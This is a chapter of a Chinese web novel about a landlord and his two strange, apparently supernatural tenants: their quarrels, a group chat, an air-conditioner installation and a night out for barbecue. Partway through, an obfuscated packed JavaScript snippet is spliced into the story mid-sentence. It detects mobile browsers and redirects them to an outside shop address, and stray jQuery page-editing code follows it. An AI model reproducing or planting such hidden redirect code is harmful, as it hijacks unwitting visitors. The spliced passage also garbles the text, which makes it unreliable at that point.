于这片浓厚深邃的黑暗中，斐宁的一双眼睛里似有青色幽光渐渐浮现，如同在坟冢间燃起的缥缈鬼火。 他看着齐朝，声音很轻。 “奇怪，运势低到这种地步，本该活不了的......” 自从斐宁入住后，齐朝就在房间外的公共区域放了个饮水机。 只是虽然齐朝教过斐宁怎么用饮水机、又怎么泡面，可斐宁还是从不动手，而齐朝看在那1000块的伙食费上也没强求，依旧天天代泡方便面。 这会儿齐朝到地下室翻了一遍存货，无奈耸肩：“你说的香菇鸡汤味没了，要不尝尝这个？” 齐朝：“鲜虾柚子汤底，据说吃起来很清爽。” 斐宁皱着脸盯着面桶的亮色包装半天，最后终于妥协。 “......行吧。” 经营指南里的指引任务是今天早上提姜搬进来时完成的。 当时，齐朝想的是拿完快递回来再弄抽奖，可等回来以后却没顾上。 现在整理好了心情，齐朝就打开了APP。 【指引任务3已完成，奖励已发放】 他往屏幕中央的转盘上摁了一下，开始抽奖。 随着他再次点击，转盘停了。 黑色的箭头指着两个字。 ——道具。 和抽现金时一样，新的转盘紧跟着出现了。 说实话，看到是道具的那一瞬间齐朝本来都没什么兴趣了，可在新转盘蹦出来后，齐朝就一点点瞪圆了眼睛。 “天音磬，招财猫，福音号，遮阳伞......” 齐朝一头黑线：“这都什么和什么啊。” 怎么道具取名还能古今中外混一堆的？画风好怪啊。 但是这会儿转盘出都出来了，还能怎么办？ 抽呗。 奖品很快就定下了。 一个手持化妆镜，备注写着：自带绝美柔光。 齐朝实在是想不到这玩意儿能派上什么用。 毕竟他们现在一个房东两个租客都不化妆，总不能三人拿美妆灯照着吃饭吧？ 道具是实体的，所以奖品抽完后APP里没一会儿就跳出一个页面，让齐朝填收货地址。 齐朝没在意，随意把网购的收货复制了过去。 怀着对白浪费了一次抽奖机会的心痛，齐朝只躺在睡袋里纠结了三秒，等他脑子一放空，立刻就睡着了。 睡意朦胧间，齐朝听见了什么声音。 “......你那破鸟毛......” “呵，你这个灾厄......要不是这栋楼有......” “你找死吧！？” “来啊！以为我怕你吗！” 齐朝被吵醒后头都是晕的，他揉着眼睛推开房门，房间外的争吵声戛然而止。 他摸到大厅灯开关那把灯打开，打完哈欠后努力眨眼，试图把视线弄清晰些。 “怎么了这是？” 斐宁正抱着手臂站在屋子中央，看上去气得不轻。 对上齐朝的视线后，他抬手往屋角一指：“齐朝，我给你钱，你把这个家伙赶出去。” 齐朝瞬间瞌睡全醒了。 8. 装修 “等等等等，你们俩这是发生什么了？” 靠在屋角处的提姜捂着手臂，大晚上的，可他居然还戴着兜帽和口罩，捂得严严实实，让人根本没法看清他的表情。 提姜没回答。 他只面向斐宁，声音很冷：“呵，果然是小屁孩。” “你说什么！？” 齐朝头都大了，他赶紧往前几步挡在两人中间：“冷静点啊，都冷静点。” 劝了半天后，齐朝好歹是把事情给弄清楚了。 简单来说，就是提姜大半夜的扰民了。 提姜特别喜欢唱歌。 他住进来也就刚两天，齐朝碰见他几次都听见他在哼歌，有时候他打扫卫生从提姜房门前路过，也能听见房门里传出歌声。 说实话，提姜的声音好听，歌声更好听，齐朝甚至还怀疑过对方是不是来隐居的艺人。 说白了，就算是提姜在齐朝面前唱歌，齐朝也只会开心地伴随歌声入眠。 可斐宁不行啊。 斐宁觉得吵死了。 斐宁冷着脸：“唱得难听死了。” 提姜冷笑：“你身上臭死了。” 眼看斐宁要炸了，齐朝赶紧手疾眼快把人拽进屋里。 齐朝这边劝：“好啦，提姜大半夜唱歌确实是他不对，我现在就去和他谈谈，行不行？” 斐宁哼哼两声，没说话。 齐朝知道他这是答应了。 然而提姜那边却说：“可他打人了，我受伤了！” 齐朝：“什么！？” 这可不是小事啊。 搞不好要变成民事纠纷的！ 齐朝赶紧说：“伤哪了？我看看！” 在齐朝紧张的注视下，提姜把长长的袖子拉起来，露出了一条雪白的、肌肉线条极其饱满的......壮硕手臂。 齐朝：“......” 齐朝看了又看，仔细再看，最后茫然抬头：“伤呢？” 提姜啪地一下给自己肱二头肌上来了一巴掌：“喏！” 齐朝看着那一点红印都没留下来的肌肉手臂，试着开口：“嗯......这，反正不管怎么说，他动手确实是他的不对，那......我去和他聊聊？” 提姜把袖子放下来，声音温温柔柔：“麻烦你了。” 齐朝心里叹了口气，颇感任重道远。 ...... “好了，就按刚刚说的，斐宁以后不管再怎么样都不许动手，提姜晚上想唱歌就去地下室。” 齐朝做出总结：“那我们握手言和吧！” 他一只手拉着一个人，把两人的手拽到一起。 斐宁臭着脸，提姜看不清表情，两人的手飞速碰了一下又迅速抽回去。 斐宁：“呸呸呸！” 提姜：“yue yue yue！” 齐朝：“......” 他记得他是房东啊，怎么感觉像是幼儿园园长？ 别的房东也这样吗？ 齐朝很茫然。 齐朝：“我明天把地下室的门换一下，睡吧睡吧，都快去睡吧。” 斐宁和提姜彼此面对面重重哼了一声，扭头进了各自的房间。 齐朝：心累。 虽然昨天晚上发生了一场租户间的争吵，可经此一事，齐朝也发现了问题。 租户们彼此又不认识、更不熟悉，所以作为房东，他自己得为租户们创造这个条件才行。 【（101）齐朝：所以，我建了个群】 【（101）齐朝：门牌号我也贴到房门上了，大家以后有什么事就先在群里说吧0v0】 【（102）虫虫非不飞：哦】 【（103）旋转跳跃不闭眼：嗯嗯，谢谢朝朝】 【（103）旋转跳跃不闭眼：[送你花花.表情包]】 齐朝看着屏幕上的“朝朝”，一瞬间有点恍惚。 他很快回过神，继续打字。 【（101）齐朝：我之后准备在天台种点蔬菜，我也是第一次种，要是种成功了我们一起吃吧】 【（102）虫虫非不飞：你给我泡方便面就行】 【（103）旋转跳跃不闭眼：好的呀[捧脸.表情包]】 【（102）虫虫非不飞：噢哟？你来泡？】 【（103）旋转跳跃不闭眼：没跟你说话】 齐朝看着两人疯狂刷屏的斗嘴语录，无语地捂住了额头。 不管怎么说，这当房东租房一事，齐朝还是在慢慢边摸索边往前走。 日子就这么一天天过着。 期间齐朝和自己的两位租户说，想给楼里添一些共用的电器，比如微波炉、洗衣机这些，而天气也渐渐热了，他准备给大家都装上空调。 这城市的夏天可太热了，尤其是西晒的房间，到了晚上没空调的话，睡在里面那完全是场酷刑。 可这样一来，齐朝就要提高房租了。 提姜：“我没意见，之前签合同的时候也是这么说好的。” 居住条件变好了，房租会跟着往上涨，这挺合理的。 斐宁也没意见：“再买个饮料柜，我要冰可乐。” 是的，继方便面之后，斐宁又迷恋上了快乐水，每次吃完泡面就要来一个大瓶，两升那种，让齐朝很担心他会不会哪天吃出病。 “有屋”家具店的老板还是一如既往的爽快。 齐朝把自己想买的电器种类、所需功能和预算说清楚，才过了五分钟都不到，那位姓有的老板就把报价连同商品照片全都一起发过来了。 齐朝和她沟通了一番，迅速把货定了下来。 家具店和齐朝预约的上门送货时间是在下午，齐朝看着时间还早，就跑了一趟快递站，把他网购的几包菜籽取了回来。 齐朝买的是新手菜籽组合套装，广告主打一个“零经验也能种出菜”。 他照着说明，把生菜籽、番茄籽那些播种好，又把路上顺便带的一小把葱给插进土里，最后检查了下之前的移栽上来的爬山虎情况。 天越来越热了，阳光也变得比刚搬来时毒辣得多。 齐朝又把之前捡漏买来的遮阳布重新绑了一下，以免这些植物被晒死。 空调安装师傅来得比约好的时间晚。 他们看了一圈，说：“您这房子里没有预留出的位置，所以我们得先打几个洞。” 一旁的斐宁烦躁地把脚上的人字拖跺得啪啪响：“要多久弄好？” “两个小时......但、但也可能更久。” 斐宁：“啧。” 有屋家具店来的两位空调安装师傅们互相对视一眼，他们有些为难地说：“要不，你们几位去哪儿逛逛？” 斐宁没说话，可身上那股不爽的气息几乎要凝成实质。 提姜的屋子里放了很多置物架、衣架、组装柜子等等，这会儿齐朝正帮他一起把东西挪到角落、盖上防尘的塑料布。 听到安装师傅的话后，齐朝朝就斐宁招招手。 斐宁皱着眉嘟囔着“干嘛”，可还是乖乖走了过来。 齐朝看了看屋外，又看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424153|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看斐宁身上那件又厚又长的黑色羽绒服，他伸手：“好啦好啦，我们出去逛逛，去吃饭，我请客。” 他动作实在太自然，所以当他真的把斐宁身上的羽绒服拽下大半的时候，所有人都还没反应过来。 齐朝看斐宁一动不动，就说：“抬手呀。” “齐先生！！” 齐朝被这突然的喊声吓了一跳，他茫然抬头，就看见那两个家具店来的师傅一脸紧张、甚至是有些惊恐地望着他。 齐朝：？ 此时，站在他身前的斐宁却突然笑了一声。 那声音很怪，就像是从空洞又深邃的地穴深处传出来似的，让人听得心里发慌。 几步外，提姜死死盯着斐宁，他头上的兜帽微微往下滑了一些，露出一小片雪白、却过于平滑的面部肌肤。 在所有人一副如临大敌的注视下，斐宁缓缓把手抬了起来。 齐朝见状，直接一顺手就要帮他把羽绒服完全脱下来。 “等等——” “别——” “我去这衣服怎么这么重！” 齐朝压根没听清周围几人的短促慌乱的呼喊，他只抱着手里的黑羽绒服，崩溃地看向斐宁。 “你这穿的什么啊？里面灌铅了？” 斐宁大约是因为年轻、身体棒，刚搬来那天明明憔悴得像根缺水的豆芽菜似的，可这几天吃吃喝喝，哪怕饮食不怎么健康，也一下子变得精神起来，看着又高又壮。 他其实比齐朝还高了整整一个头，身高直接超过一米九。 此时，他微微低头，定定地看着面前的齐朝，不动、也不说话，充满了压迫感。 两位家具店的师傅已经不自觉地往后退了半步。 齐朝只“嘶”了一声，他以为这小孩在故意捉弄他，于是把手里的衣服往对方怀里一塞。 他没好气地说：“去收起来，收好我们出门了。” 斐宁愣了几秒，然后缓缓勾起唇笑了一下。 他转身：“行。” 齐朝正掏出手机准备打车，于是，他并没有看到，在斐宁转身的一瞬间，那两位本来紧盯着这边的装修师傅立刻低下了头。 他们脸色苍白、额头渗汗，就像是看到了什么极其可怖的东西。 提姜靠在墙边。 他看着斐宁的背影一会儿，又偏头往向齐朝。 他轻笑起来，声音宛若天籁。 “诅咒和封印......居然是能剥下来的吗......” 夏天来了。 街边的大排档早早就支好了大片的桌椅，彩色的塑料矮凳子间穿梭着店伙计忙碌的身影。 齐朝喝了一口冰凉的啤酒，满足极了：“好喝！” 斐宁穿着短袖短裤、伸着两条大长腿，直接仰头灌了一大口加满冰的可乐。 他旁边，提姜习惯性地微微弓着腰，他从玻璃碗里舀了满满一勺冰淇淋，慢慢从宽大的兜帽下塞进去。 然后两人齐刷刷地被冻得打了个冷噤。 齐朝很不客气地哈哈笑。 斐宁恶狠狠地瞪过来，齐朝完全不受影响，抓了两串烤串分别给两人递过去。 “快，尝尝这个，他家的特制调料特别好吃。” 齐朝提醒：“不过很多人都说辣，你们先试试，不行的话就换一个。” 斐宁和提姜对视一眼，两人不屑冷哼，一边互怼着“你不行就赶紧放弃吧”，一边以完全不同的进食风格吃下去。 沉默了三秒后，两人同时—— “啊啊啊啊啊！水啊！！”